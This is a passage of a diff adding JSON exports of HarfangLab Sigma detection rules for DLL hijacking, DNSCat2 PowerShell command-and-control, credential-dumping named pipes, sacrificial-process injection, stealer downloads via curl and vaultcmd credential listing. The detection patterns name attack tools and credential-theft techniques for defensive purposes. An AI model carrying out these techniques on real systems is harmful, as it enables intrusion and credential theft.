+  "content": "title: DLL Hijacking via checknetisolation.exe\nid: ac4f7776-e1b3-49ea-b9de-b82d05ad3952\ndescription: |\n    Detects potential Windows DLL Hijacking via checknetisolation.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'checknetisolation.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DNSAPI.dll'\n            - '\\FirewallAPI.dll'\n            - '\\fwbase.dll'\n            - '\\fwpuclnt.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ac4f7776-e1b3-49ea-b9de-b82d05ad3952",
+  "rule_name": "DLL Hijacking via checknetisolation.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via checknetisolation.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "aca3c3d1-7e17-432a-a8f8-38f1719a61a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624571Z",
+  "creation_date": "2026-03-23T11:45:34.624573Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624577Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/iagox86/dnscat2",
+    "https://github.com/lukebaggett/dnscat2-powershell",
+    "https://attack.mitre.org/techniques/T1071/004/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1071_004_dnscat2_powershell_c2.yml",
+  "content": "title: DNSCat2 PowerShell Cmdlet Executed\nid: aca3c3d1-7e17-432a-a8f8-38f1719a61a4\ndescription: |\n    Detects the usage of DNSCat2 PowerShell client for command and control communication over DNS protocol.\n    DNSCat2 is a C2 tool that tunnels data over DNS queries and responses, often used by attackers to bypass network security controls.\n    The PowerShell implementation contains distinctive strings, function names, and behavior patterns related to DNS query crafting and data exfiltration.\n    It is recommended to investigate the process tree, analyze network DNS traffic for unusual patterns, and check for related malicious activity on the compromised system.\nreferences:\n    - https://github.com/iagox86/dnscat2\n    - https://github.com/lukebaggett/dnscat2-powershell\n    - https://attack.mitre.org/techniques/T1071/004/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2025/11/07\nmodified: 2025/12/08\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1071.004\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.HackTool.DNSCat2\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        ScriptBlockText|contains:\n            - 'Get-Dnscat2StreamKeys'\n            - 'Get-Dnscat2PacketSignature'\n            - 'Get-Dnscat2PeerAuthStrings'\n            - 'Get-Dnscat2ShortAuthString'\n            - 'Get-NextDnscat2Data'\n            - 'New-Dnscat2SYN'\n            - 'New-Dnscat2MSG'\n            - 'New-Dnscat2FIN'\n            - 'New-Dnscat2ENC'\n            - 'New-Dnscat2Tunnel'\n\n    condition: selection\nlevel: high\nconfidence: strong\n\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "aca3c3d1-7e17-432a-a8f8-38f1719a61a4",
+  "rule_name": "DNSCat2 PowerShell Cmdlet Executed",
+  "rule_description": "Detects the usage of DNSCat2 PowerShell client for command and control communication over DNS protocol.\nDNSCat2 is a C2 tool that tunnels data over DNS queries and responses, often used by attackers to bypass network security controls.\nThe PowerShell implementation contains distinctive strings, function names, and behavior patterns related to DNS query crafting and data exfiltration.\nIt is recommended to investigate the process tree, analyze network DNS traffic for unusual patterns, and check for related malicious activity on the compromised system.\n",
+  "rule_creation_date": "2025-11-07",
+  "rule_modified_date": "2025-12-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1071.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ace4c145-1aaf-42ed-bf5c-227ceb652b03",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078225Z",
+  "creation_date": "2026-03-23T11:45:34.078227Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078232Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment?next_slideshow=82266109",
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "t1003_credential_dumping_named_pipes_connection.yml",
+  "content": "title: Named Pipe Connected Associated with Credential Dumping Tools\nid: ace4c145-1aaf-42ed-bf5c-227ceb652b03\ndescription: |\n    Detects a suspicious attempt to dump credentials in Windows using tools that connect to specific named pipes.\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\n    Is is recommended to analyze both the transmitting and receiving processes and to look for other suspicious activities on the host.\nreferences:\n    - https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment?next_slideshow=82266109\n    - https://attack.mitre.org/techniques/T1003/\ndate: 2022/07/11\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: named_pipe_connection\ndetection:\n    selection:\n        PipeName|contains:\n            - '\\lsadump'\n            - '\\cachedump'\n            - '\\wceservicepipe'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ace4c145-1aaf-42ed-bf5c-227ceb652b03",
+  "rule_name": "Named Pipe Connected Associated with Credential Dumping Tools",
+  "rule_description": "Detects a suspicious attempt to dump credentials in Windows using tools that connect to specific named pipes.\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\nIs is recommended to analyze both the transmitting and receiving processes and to look for other suspicious activities on the host.\n",
+  "rule_creation_date": "2022-07-11",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ace56597-37bb-4f26-8d50-356464cf6c56",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084665Z",
+  "creation_date": "2026-03-23T11:45:34.084667Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084671Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_csc.yml",
+  "content": "title: Csc.exe Sacrificial Process Spawned\nid: ace56597-37bb-4f26-8d50-356464cf6c56\ndescription: |\n    Detects the suspicious execution of the legitimate Windows binary csc.exe, spawned without arguments and in an abnormal execution context.\n    This can mean that the binary is being used as sacrificial or hollowed process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    This technique is used by, for instance, by the Vidar malware.\n    It is recommended to investigate the parent process performing this action and the destination IP address of the csc.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/05/13\nmodified: 2025/01/27\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProcessTampering\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine: '?:\\Windows\\Microsoft.NET\\Framework\\v*\\csc.exe'\n    filter_ngen:\n        CommandLine: '?:\\WINDOWS\\Microsoft.NET\\Framework\\v*\\ngen.exe * *\\csc.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ace56597-37bb-4f26-8d50-356464cf6c56",
+  "rule_name": "Csc.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate Windows binary csc.exe, spawned without arguments and in an abnormal execution context.\nThis can mean that the binary is being used as sacrificial or hollowed process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nThis technique is used by, for instance, by the Vidar malware.\nIt is recommended to investigate the parent process performing this action and the destination IP address of the csc.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-05-13",
+  "rule_modified_date": "2025-01-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "acf3147a-d635-482b-a2bc-e980842482cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623936Z",
+  "creation_date": "2026-03-23T11:45:34.623939Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623943Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1189_stealer_curl_url.yml",
+  "content": "title: File Downloaded via cURL Related to Stealer Activity\nid: acf3147a-d635-482b-a2bc-e980842482cd\ndescription: |\n    Detects the usage of cURL to download a file from a suspicious URL.\n    Attackers use this technique to deliver and execute malicious payloads through a fake installer campaign.\n    It is recommended to analyze the downloaded file to determine whether its content is malicious.\nreferences:\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2026/03/18\nmodified: 2026/03/19\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1189\n    - attack.command_and_control\n    - attack.t1105\n    - attack.t1071.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Curl\n    - classification.macOS.Behavior.FileDownload\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        ProcessImage: '/usr/bin/curl'\n        ProcessCommandLine|contains: '/curl/'\n\n    exclusion_homebrew:\n        ProcessCommandLine|contains: 'https://ghcr.io/v2/homebrew/core/curl/'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "acf3147a-d635-482b-a2bc-e980842482cd",
+  "rule_name": "File Downloaded via cURL Related to Stealer Activity",
+  "rule_description": "Detects the usage of cURL to download a file from a suspicious URL.\nAttackers use this technique to deliver and execute malicious payloads through a fake installer campaign.\nIt is recommended to analyze the downloaded file to determine whether its content is malicious.\n",
+  "rule_creation_date": "2026-03-18",
+  "rule_modified_date": "2026-03-19",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1105",
+    "attack.t1189"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ad530185-1f9d-422a-bb74-7bdcda199b74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078089Z",
+  "creation_date": "2026-03-23T11:45:34.078091Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078096Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://web.archive.org/web/20201004080456/https://rastamouse.me/blog/rdp-jump-boxes/",
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "t1003_credentials_listing_using_vaultcmd.yml",
+  "content": "title: Credentials Listed via Vaultcmd\nid: ad530185-1f9d-422a-bb74-7bdcda199b74\ndescription: |\n    Detects the execution of VaultCmd to list credentials from the Windows Credential Manager.\n    Attackers can use this technique to find credentials to dump for future credential access.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://web.archive.org/web/20201004080456/https://rastamouse.me/blog/rdp-jump-boxes/\n    - https://attack.mitre.org/techniques/T1003/\ndate: 2022/11/17\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - attack.t1555.004\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - OriginalFileName: 'vaultcmd.exe'\n        - Image|endswith: '\\vaultcmd.exe'\n\n    selection_action:\n        CommandLine|contains:\n            - ' -list'\n            - ' /list'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ad530185-1f9d-422a-bb74-7bdcda199b74",
+  "rule_name": "Credentials Listed via Vaultcmd",
+  "rule_description": "Detects the execution of VaultCmd to list credentials from the Windows Credential Manager.\nAttackers can use this technique to find credentials to dump for future credential access.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-11-17",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1555.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ad53570b-a715-454b-bd80-fd165d3958d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085226Z",
+  "creation_date": "2026-03-23T11:45:34.085228Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085232Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_mmgaserver.yml",
+  "content": "title: Mmgaserver.exe Sacrificial Process Spawned\nid: ad53570b-a715-454b-bd80-fd165d3958d3\ndescription: |\n    Detects the suspicious execution of the legitimate mmgaserver.exe Windows binary, spawned without arguments and in an abnormal execution context.\n    This can mean that the binary is being used as sacrificial or hollowed process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    It is recommended to investigate the parent process performing this action and the destination IP address of the mmgaserver.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/05/13\nmodified: 2025/02/12\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SacrificialProcess\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine:\n            - '?:\\WINDOWS\\SysWOW64\\mmgaserver.exe'\n            - '?:\\WINDOWS\\System32\\mmgaserver.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ad53570b-a715-454b-bd80-fd165d3958d3",
+  "rule_name": "Mmgaserver.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate mmgaserver.exe Windows binary, spawned without arguments and in an abnormal execution context.\nThis can mean that the binary is being used as sacrificial or hollowed process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nIt is recommended to investigate the parent process performing this action and the destination IP address of the mmgaserver.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-05-13",
+  "rule_modified_date": "2025-02-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ad688ec6-d5b4-4404-bd3c-dfd831dd35a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096270Z",
+  "creation_date": "2026-03-23T11:45:34.096272Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096276Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://www.secureworks.com/research/shadowpad-malware-analysis",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_aitstatic.yml",
+  "content": "title: DLL Hijacking via aitstatic.exe\nid: ad688ec6-d5b4-4404-bd3c-dfd831dd35a1\ndescription: |\n    Detects potential Windows DLL Hijacking via aitstatic.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://www.secureworks.com/research/shadowpad-malware-analysis\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'aitstatic.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\mscoree.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\Microsoft.NET\\Framework\\v*\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ad688ec6-d5b4-4404-bd3c-dfd831dd35a1",
+  "rule_name": "DLL Hijacking via aitstatic.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via aitstatic.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ad743e1e-6f61-4a51-9e3f-7568d116265e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589999Z",
+  "creation_date": "2026-03-23T11:45:34.590003Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590011Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_cloudnotifications.yml",
